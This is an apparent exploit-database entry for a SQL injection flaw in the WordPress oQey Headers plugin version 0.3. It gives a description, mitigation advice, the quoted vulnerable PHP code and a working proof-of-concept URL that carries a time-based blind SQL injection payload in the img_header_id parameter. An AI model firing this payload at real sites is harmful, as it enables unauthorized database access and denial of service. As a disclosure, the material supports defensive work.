header-logo
Suggest Exploit
vendor:
oQey Headers plugin
by:
Miroslav Stampar
9
CVSS
HIGH
SQL Injection
89
CWE
Product Name: oQey Headers plugin
Affected Version From: 0.3
Affected Version To: 0.3
Patch Exists: YES
Related CWE: N/A
CPE: oqey-headers
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: None
2011

WordPress oQey Headers plugin <= 0.3 SQL Injection Vulnerability

The vulnerability exists due to insufficient sanitization of user-supplied input in the 'img_header_id' parameter of the 'oqey_settings.php' script. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary SQL commands in the application's database, cause denial of service or access sensitive data.

Mitigation:

Input validation should be used to prevent SQL injection attacks. All user-supplied input should be validated and filtered before being used in SQL queries.
Source

Exploit-DB raw data:

# Exploit Title: WordPress oQey Headers plugin <= 0.3 SQL Injection Vulnerability
# Date: 2011-08-26
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/oqey-headers.0.3.zip
# Version: 0.3 (tested)
# Note: magic_quotes has to be turned off

---
PoC
---
http://www.site.com/wp-content/plugins/oqey-headers/oqey_settings.php?img_header_id[]=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20

---------------
Vulnerable code
---------------
if(isset($_GET['img_header_id'])){//order images
foreach ($_GET['img_header_id'] as $position => $item){
$h_update = sprintf("UPDATE $oqey_header SET oqey_h_order = '%d' WHERE oqey_h_id = '%s' ", $position,  $item
);
...